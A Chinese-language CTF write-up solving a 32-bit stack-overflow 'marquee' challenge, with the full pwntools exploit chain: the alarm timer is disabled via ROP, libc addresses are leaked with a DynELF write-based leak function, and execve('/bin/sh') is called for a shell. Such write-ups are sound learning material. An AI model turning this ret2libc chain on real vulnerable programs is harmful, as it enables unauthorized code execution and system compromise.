第一次和大佬们一起参加CTF比赛,在pwn中选了一个栈溢出的题目来做。
先丢到ida
中,如其名“跑马灯”,程序会在跑完三轮跑马灯前的最后一次,设置一个定时器并在2秒后触发进入死循环handler
。在跑马灯结束到触发alarm
之前,有一个窗口可以提供输入。
1 2 3 4
| signal(14, (__sighandler_t)handler); alarm(2u);
return gee();
|
提供输入在gee
函数内,buf
长度为0x88,read
读入上限为0x100,可以溢出,offset为140。
1 2 3
| char buf; puts("*..........................................................."); return read(0, &buf, 0x100u);
|
通过简单的实验可知,先前的signal
和alarm
可以被后来的signal
和alarm
所覆盖,因此首先通过溢出令alarm(2u)
失效。
1 2 3 4 5 6 7 8 9 10
| print p.recvuntil('*...........................................................') print p.recvuntil('*...........................................................') print p.recvuntil('*...........................................................') print p.recvuntil('*...........................................................')
payload = 'a' * 140 + p32(alarm_plt) + p32(0x8048b5e) + p32(0)
p.sendline(payload)
|
编写leak
函数并进行泄漏:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| def leak(addr): payload = 'a' * 140 + p32(write_plt) + p32(0x8048b5e) + p32(1) + p32(addr) + p32(4) print p.recvuntil('...\n') p.send(payload) data = p.recv(4) return data
d = DynELF(leak, elf=ELF('./stack'), libcdb=False) execve_addr = d.lookup('execve', 'libc') print 'execve:' + hex(execve_addr) system_addr = d.lookup('system', 'libc') print 'system:' + hex(system_addr) libcbase_addr = d.bases()['/lib/i386-linux-gnu/libc.so.6'] print 'libc base addr:' + hex(libcbase_addr)
|
在实际做题中,可以根据泄漏的函数地址找到对应的libc版本从而获取/bin/sh
的偏移地址,由于没有环境,故直接导入本地libc。曾经尝试调用system
并通过read
读入/bin/sh
字符串,但失败(包括先调用start
恢复栈帧)。
1 2 3 4
| libc = ELF('./libc.so.6') binsh_offset = next(libc.search('/bin/sh')) print '/bin/sh offset:' + hex(binsh_offset) binsh_addr = libcbase_addr + binsh_offset
|
调用execve即可拿到shell:
1 2 3 4
| payload = 'a' * 140 + p32(execve_addr) + p32(0xdeadbeef) + p32(binsh_addr) + p32(0) + p32(0) p.send(payload) p.interactive() p.close()
|